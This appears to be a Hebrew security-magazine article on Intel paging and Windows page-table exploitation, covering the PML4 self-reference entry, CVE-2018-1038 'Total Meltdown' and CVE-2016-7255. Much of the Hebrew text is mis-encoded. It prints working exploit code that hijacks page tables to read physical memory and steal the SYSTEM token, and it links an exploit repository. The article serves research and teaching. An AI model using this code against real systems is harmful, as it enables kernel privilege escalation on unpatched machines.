˪ ˢ˞˧˶˵ ˫˵ˬˮ-DebugBreak ˢ ˸˞ ˭˥˟ˮˣ ˫˧˧ˣˮ˧˷ˢ ˸˩˧˶˰ ˧ˮ˲˪-Shellcode: 
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ˢ ˸˞ ˭˥˟ˮ-Shellcode :˫˧˧ˣˮ˧˷ˢ ˰ˣ˴˧˟ ˶˥˞˪ 

 

 

 

ˢ˷ ˫˧˩˶˰˟ ˣ˲˪˥ˣˢ ˫˧˧ˮˣ˧˵˧˵ˢ ˫˧˩˶˰ˢ ˪˩ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Shellcode .˫ˢ˪ ˢ˲˴ˬ 

ˢ ˭˩˞˷ ˸ˣ˞˶˪ ˪˩ˣˮ ,˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ ˫˞-Shellcode  ˸ˣ˞˷˶ˢ ˣˮ˪ ˣ˵ˮ˰ˣˢ˷ˣ ˣ˸ˬ˧˷ˬ˟ ˥˧˪˴ˢSYSTEM: 

 

ˢ ˸˞-exploit ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˢˤ ˱˧˰˯˟ ˣˮ˥˸˧˲˷-GitHub.˶ˬ˞ˬˢ ˱ˣ˯˟ ˞˴ˬˮ ˵ˮ˧˪ˢ . 
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CVE 2018-1038 - Total Meltdown 

 ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˶˩ˤˢ ,˶ˬ˞ˬˢ ˸˪˧˥˸˟Total Meltdown ˪˷ ˭ˣ˵˧˸˟ ˢˠ˴ˣˢ˷ ˢ˷˪ˣ˥ ˞˧ˢ˷ ˣˮ˧˧˴ˣ ,

Microsoft ˪-Meltdownˢ ˦˧˟ ˸˵˪ˡˢ ˸˶ˤ˰˟ ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ˪ ˸˥˞ ˨˶ˡ˟ ˣˮˡ ,˫ˡˣ˵ˢ ˱˧˰˯˟ .-

Owner ˢ ˪˷-Self-Ref Entry ˪˰ ˦˪˸˷ˢ˪ ˭˸˧ˮ ˡ˥˞ ˦˧˟ ˸˵˪ˡˢ ˸˶ˤ˰˟ ˡ˴˧˩ ˣˮ˧˞˶ˣ , ˭˟ˣˬ˩ .˸˩˶˰ˬˢ

.ˢ˷˪ˣ˥ ˪˴ˮ˪ ˣˮ˸˞ˬ ˨˧˶˴ˬ ˭˧˧ˡ˰ ˶˟ˡˢ˷ 

˟ ,˭˩˟ˣ-Total Meltdownˢ˷ ˞˧ˢ ˢ˷˪ˣ˥ˢ ,-Owner-Bit ˢ ˪˷-Self-Ref Entry ˵˪ˣˡ ˪˴ˮ˪ ˨˧˶˴ ˞˪˷ ˨˩ ,

 ˣˮˣ˴˶˩ ˸˩˶˰ˬ ˭ˣ˶˩˧ˤ˪ ˟ˣ˸˩˪/˞ˣ˶˵˪ˣ ˫˧˧˟˧˦˵˧˲ ˧ˣ˲˧ˬ ˧ˮ˟ˬ ˶ˣ˴˧˪ ˪˧˥˸ˢ˪ ˪ˣ˩˧ ˧ˮˣˡˤ ˨˧˪ˢ˸ˣ ˢ˷˪ˣ˥

˟ ˡˣ˵ ˳˧˶ˢ˪ ˫ˠ ˭˟ˣˬ˩ˣ)-Ring-0.(˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮ˧˞˶˷ ˧˲˩ , 

˟ ˣˮ˵˯˰˷ ˶˥˞˪˷ ˭˟ˣˬ˩-Paging  ˡˣ˞ˬ ˸ˮ˩ˣ˯ˬ ˢ˷˪ˣ˥˟ ˶˟ˣˡˬ˷ ˣˮ˪ ˭˟ˣˬ ,˭ˣˮˠˮˬˢ ˸˞ ˪˴ˮ˪ ˫˧˩˶ˡ˟ˣ- 

 .ˡˣ˞ˬ ˧˪˞˧ˣˣ˧˶˦ ˭˲ˣ˞˟ˣ ˸˩˶˰ˬ˟ ˣˮˣ˴˶˩ ˸ˣ˷˰˪ ˱˵ˣ˸ ˪˩˪ ˸˶˷˲˞ˬ ˞˧ˢMicrosoft ˸˶ˬˣ˥ ˸˞ ˣˮ˧˟ˢ˷ ,

 ˭ˣ˩ˡ˰ ˣ˞˧˴ˣˢ ,ˢ˷˪ˣ˥ˢOOB  ˳˶ˬ ˱ˣ˯˟2018 ˬ ˪˰ ˢ˟˶ ˢ˲˧˷˥˪ ˢ˸˩ˤ ˢ˷˪ˣ˥ˢ .ˢ˷˪ˣ˥ˢ ˸˞ ˶ˣˠ˯˪ ˸ˮ

 ˸˞ ˣ˶˵˧˟ ˫˧˟˶ˣ ,ˢ˥˦˟˞ˢ ˸˪˧ˢ˵ ˟˶˵˟Microsoft ˪ ˭ˣ˵˧˸ ˞˧˴ˣˢ˪ ˣ˶ˢ˧ˬ˷ ˪˰-Meltdown  ˵ˣˡ˟˪ ˧˪˟ˬ

.ˢ˟˶ˢ˟ ˸˧˞˶ˣˮ ˢ˷˪ˣ˥˪ ˫˧˷ˬ˸˷ˬˢ ˸˞ ˱˷˥˷ ,˧˯˧˯˟ ˨˩ ˪˩ ˶˟ˡ 

 ˪ˣ˴˧ˮ ˪˰ ˣ˪˷ ˦˯ˣ˲˟Total Meltdown) ˶˦˯'˴ ˫ˡ˞ ˠ˧˴ˬ ,XPN˧ˮ˪ ˢ˦ˣ˷˲ ˨˶ˡ ( ˨˶ˣ˴˪ ˢ˷˪ˣ˥ˢ ˪ˣ˴

ˬ ˢ˪˰ˬ˪ ˪˷ ˧ˣ˲˧ˬ ˨˶ˣ˴˪ ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˪˰ ˸˯˯˟˸ˬ ˶˷˞ ,˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ-30GB  ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢˬ

 ˭˧˦ˣ˪˥˪ ˵˸˰ˣˬ˷) ˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˶ˤ˰˟ ˰˴˟˸ˬ ˧ˣ˲˧ˬˢ .˷ˬ˸˷ˬ˪ ˷˧ˠˮˢ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˟˥˶ˬ˪

 ˪˷ ˦˯ˣ˲ˢˬXPN :(ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˪˰ 

unsigned  long  long  iPML4 ,  vaPML4e,  vaPDPT,  iPDPT,  vaPD,  iPD ;  

DWORD done;  

 

// setup: PDPT @ fixed hi - jacked physical address: 0x10000  

// This code uses the PML4 Self - Reference technique discussed, and iterates until we find 

a "free" PML4 entry  

// we can hijack.  

for  ( iPML4 = 256 ;  iPML4 < 512 ;  iPML4 ++)  {  

    vaPML4e = PML4_BASE + ( iPML4 << 3);  

    if  (*( unsigned  long  long  *) vaPML4e)  {  continue ;  }  

 

    // When we find an entry, we add a pointer to the next table (PDPT), which will be  

    // stored at the physical address 0x10000  

    // The flags "067" allow user - mode access to the page.  

    *( unsigned  long  long  *) vaPML4e = 0x10067 ;  

    break ;  

}  

 

printf ( "[*] PML4 Entry Added At Index: %d \ n" ,  iPML4 );  

 

// Here, the PDPT table is references via a virtual address.  

// For example, if we added our hijacked PML4 entry at index 256, this virtual address  

// would be 0xFFFFF6FB7DA00000 + 0x100000  

// This allows us to reference the physical address 0x10000 as:  

// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100  

vaPDPT = PDP_BASE + ( i PML4 << ( 9 *  1 + 3));  

printf ( "[*] PDPT Virtual Address: %p" ,  vaPDPT);  

 

// 2: setup 31 PDs @ physical addresses 0x11000 - 0x1f000 with 2MB pages  

// Below is responsible for adding 31 entries to the PDPT  

for  ( iPDPT = 0;  iPDPT < 31;  iPDPT++)  {  

    *( unsigned  long  long  *)( vaPDPT + ( iPDPT << 3))  = 0x11067  + ( iPDPT << 12);  

}  
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// For each of the PDs, a further 512 PT's are created. This gives access to  

// 512 * 32 * 2mb = 33gb physical memory space  

 

for  ( iPDPT = 0;  iPDPT < 31;  iPDPT++)  {  

    if  (( iPDPT % 3)  == 0)  

        printf ( " \ n[*] PD Virtual Addresses: " );  

 

    vaPD = PD_BASE + ( iPML4 << ( 9 *  2 + 3))  + ( iPDPT << ( 9 *  1 + 3));  

    printf ( "%p " ,  vaPD);  

 

    for  ( iPD = 0;  iPD < 512 ;  iPD ++)  {  

        // Below, notice the 0xe7 flags added to each entry.  

        // This is used to create a 2mb page rather than the standard 4096 byte page.  

        *( unsigned  long  long  *)( vaPD + ( iPD << 3))  = (( iPDPT *  512  + iPD )  << 21)  |  0xe7 ;  

    }  

}  

 

printf ( " \ n[*] Page tables created, we now have access to ~33gb of physical memory\ n" );  

ˢ ˸˞ ˟ˣˮˠ˪ ˸ˮˬ ˪˰ ,˭˩ˬ ˶˥˞˪-Token  ˪˷Systemˢ ˸˞ ˷˲˥ˬ ˫ˡ˞ ,-EPROCESS  ˣ˪˷ ˨˧˪ˢ˸ˢ ˪˷

ˢ ˸˞ ˸˪˪ˣ˩ˢ ˢˬ˧˸˥ ˸˶ˤ˰˟ ˷ˡ˥ˢ ˭ˣ˶˩˧ˤ˟-ImageFileName  ˞ˣˢ ,˨˧˪ˢ˸ˢ ˸˞ ˞˴ˣˬ ˞ˣˢ˷ ˶˥˞˪ .ˣ˪˷

 ˸˞ ˷˲˥ˬSystem ˸˟˧ˮˠ ˰˴˟ˬˣ ,Token ˫˯˶˲˷ ˦˯ˣ˲˟ ˢ˟˥˶ˢ˟ ˨˩ ˪˰ ˞ˣ˶˵˪ ˭˸˧ˮ .XPN  .ˣ˪˷ ˠˣ˪˟˟

.ˢˤ ˶ˬ˞ˬ˪ ˫˧˯ˮ˶˲˶˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˦˯ˣ˲ˢ ˸˞ 

 ˪˷ ˸ˣˬˣ˴˰ ˸ˣ˧ˣˬ˩ ˸ˣ˲ˬ˪ ˭˸˧ˮ ˡ˴˧˩ ˣˮ˪ ˢˬ˧ˠˡˬ ˫ˠ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ,˧˧ˮ˧˰˟ ˡˣ˞ˬ ˸ˮ˧˧ˮ˰ˬ ˣˤˢ ˪ˣ˴˧ˮˢ ˸˦˧˷

ˡˣˬ˰ ˸ˣ˲ˬ˪ ˞˪ˣ) "ˢ˩ˬ˟" ˧ˤ˧˲ ˭ˣ˶˩˧ˤ- ˢ˧˴˵ˮˣ˲˟ ˣˮ˧˷˰˷ ˧˲˩ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷ ˡˣˬ˰

mapAddressToUserˬ˸˯ˬ ˞˪ ˫ˠˣ ,(ˢ ˪˷ ˸˟ˣ˸˩ˢ ˪˰ ˫˧˩ˬ˸˯ˬ ˣˮ˞˷ ˧˲˩ ˸ˣ˧˦˦˯ ˸ˣ˟ˣ˸˩ ˪˰ ˸˩-

Heap ˢ ˪˷-HALˬ ˪˥ˢ ˷˞˶ˬ ˢ˰ˣˡ˧ ˞˪ ˶˟˩ ,˶˟˰˟ ˣˮ˧˧˴˷ ˧˲˩ ˶˷˞ ,-Redstone 2 ˠ˧˴ˢ˷ ˢ˦˧˷ˢ .XPN 

 ˪ˣ˴˧ˮ˪ ˷ˬ˷˪ ˢ˪ˣ˩˧Page Tables  ˪˷ ˶˸ˣ˧ ˸ˣ˧ˮ˩ˡ˰ ˸ˣ˯˶ˠ˟ ˫ˠWindows 10ˢ ˪˷ ˸˟ˣ˸˩ˢ ˭˸ˮ˧ˢ˟ ,-

Self-Ref Entry. 
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 ˫˸ˣ˥ ˣ˪˷ ˦˯ˣ˲ˢ ˸˞XPN  ˷ˣ˲˧˥ ˨˧˪ˢ˸˷ ˸ˣ˞˶˪ ˭˸˧ˮ .ˣ˪˷ ˦˧ˣ˪˲˯˵˞ˢ ˸˴˧˶ ˸˞ ˫˧ˠˡˬ ˶˷˞ ˭ˣ˦˶˯˟

-s_EPROCESS ˩) ˭ˬˤ ˥˵ˣ˪-25  ˸˞ ˞˴ˬˣ ˥˧˪˴ˢ ˦˧ˣ˪˲˯˵˞ˢ ˱ˣ˯˟˪ ˪˟˞ ,(˭ˣ˦˶˯ˢ ˨ˬ˯ ˪˰ ˸ˣ˧ˮ˷

 ˸ˣ˞˷˶ˢ ˨˧˪ˢ˸˪ ˣ˵ˮ˰ˣˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮˣ ,˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ˮ˟ˬˢSYSTEM: 
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˧˶˟ˡ ˫ˣ˧˯ 

˭ˣ˷˞˶ˢ ˵˪˥˟ ˢ ˭ˣˮˠˮˬ˟ ˣˮˡ ,˶ˬ˞ˬˢ ˪˷-Paging  ˪˷Intel  ˞˪ˣ ˦˰ˬ˩˷ ˭˟ˣˬ˩) ˡ˟ˣ˰ ˞ˣˢ ˡ˴˧˩ ˣˮˡˬ˪ˣ

 ˪˰ ˣˮ˶˟˧ˡTLBs  ˫˧˲˯ˣˮ ˫˧˟˶ ˫˧˞˷ˣˮ ˪˰ˣ-  ˣˮ˶˟˴ .(˞˷ˣˮˢ ˪˩ ˸˞ ˢ˯˩ˬ˷ ˶ˬ˞ˬ ˸ˣ˧ˢ˪ˬ ˵ˣ˥˶ ˶ˬ˞ˬˢ

 ˪˷ˣ ˢˮ˟ˬ ˪˩ ˪˷ ˢ˶˦ˬˢ ˢˬˣ ˫˧ˡ˟ˣ˰ ˫ˢ ˡ˴˧˩ ˣˮ˟ˢˣ ,˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˟ ˷ˣˬ˧˷ˣ ˸ˣ˟ˣ˸˩ ˫ˣˠ˶˸˟ ˭ˣ˧˯˧ˮ ˪˩

˟ ˫˧˷ˬ˸˷ˬ ˰ˣˡˬ ˣˮ˶˟˯ˢ ,˭˩ ˣˬ˩ .ˢˮ˟ˬ ˪˩˟ ˶˟˧˞-Self-Ref Entry ˟-PML4 ˟)-64- ˡ˴˧˩ ˣˮ˞˶ˢˣ (˦˧˟

ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˪˰ ˰ˡ˧ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ-Self-Ref Entry ˟-PML4  ˸ˣ˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰

.˸ˬ˧˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˪ ˫˧˧˦ˮˣˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˪˩ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ 

ˬˢ ˪˷ ˧ˮ˷ˢ ˵˪˥˟ˢ ˭ˣˮˠˮˬ˟˷ ˪˞˧˴ˮ˦ˣ˲ˢ ˪˰ ˣˮˡ ,˶ˬ˞-Paging  ˶˲˯ˬ ˣˮˠ˴ˢˣ ,ˢ˧˴˦˧ˣ˪˲˯˵˞ ˸ˮ˧˥˟ˬ

 ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˣˮˬˠˡˢ .˸ˣˮˣ˷ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ ˪˰ ˭ˣˮˠˮˬ˟ ˸ˣ˶ˤ˰ˮ ˶˷˞ ˪ˣ˴˧ˮ ˸ˣ˦˧˷CVE-2016-

7255  ˢ˷˪ˣ˥ˢ ˸˞ ˣˮ˶˟˯ˢˣ ,˶ˬ˞ˬˢ ˪˷ ˭ˣ˷˞˶ˢ ˵˪˥˟ ˫ˢ˟ ˣˮˡ˷ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˟ ˷ˣˬ˧˷ ˨ˣ˸Total 

Meltdown .˸˩˶˰ˬˢ ˭ˣ˶˩˧ˤ ˸˞ (˟ˣ˸˩˪ˣ) ˞ˣ˶˵˪ ˪˧˟˷˟ ˢ˸ˣ˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ˣ 

 (˧ˬ˰˦˪) ˧˸˥˦˟˞ˢ ˶˵˥ˬˢ ˨˧˪ˢ˸ ˸˞ ˱˵˷ˬ ˶ˬ˞ˬˢ ˪˷ ˢˮ˟ˬˢ-  ˭ˢ ,˫˧ˣ˯ˬ ˞˷ˣˮ ˪˰ ˡˬ˪ˮ ,˸˧˷˞˶

 ˣˮ˸˟ˣ˦˪ ˣ˸ˣ˞ ˪˴ˮ˪ ˶˷˲˞ ˨˧˞ ˭˧˟ˢ˪ ˢ˯ˮˮ ˭˩ˬ ˶˥˞˪ˣ ,ˣ˪˷ ˧ˬ˧ˮ˲ˢ ˷ˣˬ˧ˬˢ ˸ˬ˶˟ ˭ˢˣ ˣ˟ ˷ˣˬ˧˷ˢ ˸ˬ˶˟

 ˭˸˧ˮ˷ ˢ˷˪ˣ˥ ˶ˣ˸˟ ˭ˢ).(ˢ˷˪ˣ˥ ˪ˣ˴˧ˮˬ ˵˪˥ ˭ˢˣ ˶˸ˣˣ˪ 

ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˢˬ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˨˩ ˪˰ ˸ˣ˯˯˟˸ˬ ˸ˣ˧˪˞˧ˣˣ˧˶˦ˢ ˪ˣ˴˧ˮˢ ˸ˣ˦˧˷ ˪˩ ,˶ˬ˞ˬ˟ ˣˮ˧˧˴˷ ˧˲˩-

Self-Ref Entry ˟-PML4ˬ ˪˥ˢ ,˶ˣˬ˞˩ .-Windows 10 1607 (Redstone 1)ˢ ˪˷ ˯˵ˡˮ˧˞ˢ ,-Self-Ref 

Entry ˷ ˪˩˷ ˨˩ ,˸˩˶˰ˬˢ ˸˧˧˪˰ ˫˰ ˧˪ˬˣˡˮ˶ ˭˲ˣ˞˟ ˰˟˵ˮ ˸ˣ˷˶ˣˡˣ ,˸ˣ˧˪˞˧ˣˣ˧˶˦ ˞˪ ˶˟˩ ˭ˢ ˪ˣ˴˧ˮˢ ˸ˣ˦˧

ˢ ˞˴ˬˮ ˢ˲˧˞ ˭˧˟ˢ˪ ˣˮ˸˧˞ˬ-Self-Ref Entry˟ ˣ˸˞˴˶ˢ˟ .-ZeroNights 2016 ˸˶˸ˣ˩ˢ ˸˥˸ ,άL Yƴƻǿ 

²ƘŜǊŜ ¸ƻǳǊ tŀƎŜ [ƛǾŜǎέ ˢ˞˶ˬ ,Enrique Elias Nissim ˢ ˸˞ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˡ˴˧˩-Self-Ref Entry ˟-

Redstone 1 .˭ˣˬˤ˸ ˸˲˵˸ˢ ˸˶ˤ˰˟ 

˧˰ˢ ˶˯ˬˢ ,˫˧˞˶ˣ˵˷ ˢ˴ˣ˶ ˧˸˧˧ˢ˷ ˧˶˵˞˷ ˶ ˣ˥˵˧˧ ,ˣ˸˞˧˶˵ ˧ˮ˲˪ ˶ˬ˞ˬˢ ˵˯ˣ˰ ˣ˟ ˫ˣ˥˸ˢ ˸˞ ˣ˶˧˩ˢ ˞˪

˷ ˞ˣˢ ˶ˬ˞ˬˢˢ ˪˷ ˯˵ˡˮ˧˞ˢ ˸˞ ˫˧˰ˡˣ˧ ˣˮ˞˷ ˰ˠ˶˟-Self-Ref Entry ˣ˞ ˣ˧˪˰ ˸ˣ˪˰˟ ˸˥˵˪ ˫˧˪ˠˣ˯ˬˣ ,

 ˪˰P*E .˸˧˪˞˧ˣˣ˧˶˦˪ ˸˩˲ˣˢ ˢ˧˴˦˧ˣ˪˲˯˵˞ ,˶˥˞ 

 ˦˧ˣ˪˲˯˵˞˪ ˞˪ˬˢ ˶ˣ˵ˬˢ ˡˣ˵ ˸˞ ˶˶˥˷ˬ ˧ˮ˞ ,˪˧ˠ˶˩-˪CVE-2016-7255  ˪˪ˣ˩ ,˶ˬ˞ˬˢ ˨˪ˢˬ˟ ˣˮ˥˸˧˲˷

 ˧˲˪ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˷ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˣˮ˸˥˸˧˲˷ ˭ˣ˸˧˧˲ˢ ˡˣ˵

˟ ˡˣ˵˪ ˸˷ˠ˪ ˭˸˧ˮ .˸˟ˣ˸˩ˢ-GitHub:˸˟ˣ˸˩ˢ ˸˥˸ , 

exploitation-table-https://github.com/yuvatia/page 

!ˢ˞˧˶˵ˢ ˪˰ ˢˡˣ˸ 

 :˞˷ˣˮ ˪˩˟ ˸ˣ˧ˮ˲ˣ ˸ˣ˶˰ˢ ,˸ˣ˪˞˷˪ ˪˧˧ˬ˟ ˸ˣˮ˰˪ ˥ˬ˷˞uval4u21@gmail.com  

 

https://github.com/yuvatia/page-table-exploitation
https://github.com/yuvatia/page-table-exploitation
mailto:uval4u21@gmail.com


 
 

Intel Paging & Page Table Exploitation on Windows 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  118 
 

˫˧˯ˮ˶˲˶ 

1. Paging :ˢ˧ˡ˲˧˵˧ˣ˟ 

https://en.wikipedia.org/wiki/Paging 

2. ˯˶ˣ˵ˢ ά±ƛǊǘǳŀƭ aŜƳƻǊȅέ ˪˷ David Black-Schaffer ˟-YouTube: 

https://www.youtube.com/watch?v=qcBIvnQt0Bw 

3. ά¦ƴŘŜǊǎǘŀƴŘƛƴƎ Ηt¢9έ ˠˣ˪˟˟ ˪˷ ntdebug ˟-MSDN: 

https://blogs.msdn.microsoft.com/ntdebugging/2010/02/05/understanding-pte-part-1-lets-get-physical/ 

https://blogs.msdn.microsoft.com/ntdebugging/2010/04/14/understanding-pte-part2-flags-and-large-pages/ 

https://blogs.msdn.microsoft.com/ntdebugging/2010/06/22/part-3-understanding-pte-non-pae-and-x64/  

4. ά¢ǊŀƴǎƭŀǘƛƴƎ ±ƛǊǘǳŀƭ ǘƻ tƘȅǎƛŎŀƭ !ŘŘǊŜǎǎ ƻƴ ²ƛƴŘƻǿǎΥ tƘȅǎƛŎŀƭ !ŘŘǊŜǎǎŜǎέ ˟-Infosec Insititue : 

https://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-physical-addresses/  

5. άDŜǘǘƛƴƎ tƘȅǎƛŎŀƭέ ˸˞ˬ Nicolas Economou ˟-Core Security: 

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-1 

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows 

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-

hals-heap  

6. άDŜǘǘƛƴƎ tƘȅǎƛŎŀƭΥ 9ȄǘǊŜƳŜ !ōǳǎŜ ƻŦ LƴǘŜƭ ōŀǎŜŘ tŀƎƛƴƎ {ȅǎǘŜƳǎέ ˣˠ˧˴ˢ˷ Enrique Elias Nissim x-

Nicolas Economou ˟-CanSecWest2016 : 

https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-

%20Extended%20Version.pdf 

7. ά²ƛƴŘƻǿǎ мл aƛǘƛƎŀǘƛƻƴ LƳǇǊƻǾŜƳŜƴǘǎέ ˣˠ˧˴ˢ˷ Microsoft ˟-Black Hat 2016 : 

https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf 

8. ά¢ŀƪƛƴƎ ²ƛƴŘƻǿǎ мл YŜǊƴŜƭ 9ȄǇƭƻƛǘŀǘƛƻƴ ǘƻ ǘƘŜ bŜȄǘ [ŜǾŜƭέ ˠ˧˴ˢ˷ Morten Schenk ˟-Black Hat 

2017: 

https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-

Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf 

9. ά/ƻƳǇƛƭƛƴƎ сп-.ƛǘ !ǎǎŜƳōƭŜǊ /ƻŘŜ ƛƴ ±ƛǎǳŀƭ {ǘǳŘƛƻ нлмпέ : 

https://deviorel.wordpress.com/2015/01/19/compiling-64-bit-assembler-code-in-visual-studio-2014/ 

10. ά²ƛƴŘƻǿǎ {a9t .ȅǇŀǎǎ ¦Ґ{έ : 

https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf 

11. ά¢ƻǘŀƭ aŜƭǘŘƻǿƴέ : 

http://blog.frizk.net/2018/03/total-meltdown.html  

12. ά9ȄǇƭƻƛǘƛƴƎ /±9-2018-1038 - ¢ƻǘŀƭ aŜƭǘŘƻǿƴέ ˠˣ˪˟˟ ˪˷ XPN: 

https://blog.xpnsec.com/total-meltdown-cve-2018-1038/ 

13. άL Yƴƻǿ ²ƘŜǊŜ ¸ƻǳǊ tŀƎŜ [ƛǾŜǎέ : 

https://github.com/IOActive/I-know-where-your-page-lives 

  

https://en.wikipedia.org/wiki/Paging
https://www.youtube.com/watch?v=qcBIvnQt0Bw
https://blogs.msdn.microsoft.com/ntdebugging/2010/02/05/understanding-pte-part-1-lets-get-physical/
https://blogs.msdn.microsoft.com/ntdebugging/2010/04/14/understanding-pte-part2-flags-and-large-pages/
https://blogs.msdn.microsoft.com/ntdebugging/2010/06/22/part-3-understanding-pte-non-pae-and-x64/
https://resources.infosecinstitute.com/translating-virtual-to-physical-address-on-windows-physical-addresses/
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-1
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap
https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
https://deviorel.wordpress.com/2015/01/19/compiling-64-bit-assembler-code-in-visual-studio-2014/
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
http://blog.frizk.net/2018/03/total-meltdown.html
https://blog.xpnsec.com/total-meltdown-cve-2018-1038/
https://github.com/IOActive/I-know-where-your-page-lives
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˸˯˧˲˸ s-SOC ˦˟ˬˬ ˪˰  
 ˸˞ˬ˶˧ˬ˞ ˧˰ˡ 

 

 ˢˬˡ˵ˢ 

 ˶ˬ˞ˬˢ˫˪ˣ˰ ˸˞ ˶ˣ˵˯˧ ˫˩˧ˮ˲˪˷ s-(Security Operation Center) SOC ˸˞ , ˢˤ˧˞˟ˣ ˫˧ˣˣ˪ˮˢ ˣ˧˟˧˩˶ˬ

 ˫˧ˮ˲ˣ˞SOC  ˣˢˬ .˧ˣˮ˟ ˸ˣ˧ˢ˪ ˨˧˶˴SOC ˢˬˬ ?˰ˡ˧ˬ ˸˥˦˟˞ ˧˰ˣ˶˧˞ ˣˮ˪ ˶˦ˮ˧˷ ˤ˩˶ˬ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˰ˣˡˬ ?

.ˣ˟ ˸ˣ˧ˢ˪ ˸ˣ˩˧˶˴ ˸ˣ˧˦˧˶˵ ˸ˣ˧˴ˮ˵ˣ˲ ˣ˪˧˞ˣ ?˟˩˶ˣˬ ˞ˣˢ  

ˮ˩ˮ ˢ˧˴˪ˣˠ˶ ˸ˣˮ˵˸˷ ˢ˪˞ ˫˧ˬ˧˟ ˫˧˪ˣˡˠ˩ ˫˧ˮ˦˵ ˫˧ˮˣˠ˶˞ ,ˢ˷˰ˬ˪ ˢ˩˪ˢ ˭˲˵ˣ˸˪ ˸ˣ˯˞˷ ˶ ˫˧˶ˬ˧˧˸ˬ

˪˰ ˭ˠˢ˪  ˫˧˵ˢ˪ ˫˧˟˧ˣ˥ˬ ,˫˸ˣ˧˶˥˞˟ ˰ˡ˧ˬˢ ˪˰ˣ ˫ˢ˧˯˩ˮSOC ˭ˬˤ˟ ˶˟˧˧˯ ˧˰ˣ˶˧˞ ˸ˣˢˤ˪ ˢ˶˦ˬ ˨ˣ˸ˬ ,

.˸ˬ˞ 

 ˪˧˥˸ˮ˷ ˧ˮ˲˪ ,˭ˣˠ˶˞ˢ ˠˣ˯˪ ˫˞˸ˢ˟ ˸ˣˮ˸˷ˢ˪ ˫˧˪ˣ˪˰ ˶ˬ˞ˬ˟ ˫˧˟ˣ˸˩ˢ ˫˧˞˷ˣˮˢˬ ˵˪˥ ˧˩ ,˭˧˧˴˪ ˧˪ ˟ˣ˷˥

 ˸ˣˬ˩ˣ ˣ˪ˡˣˠ.ˣ˪˷ ˫˧˯˩ˮˢ 

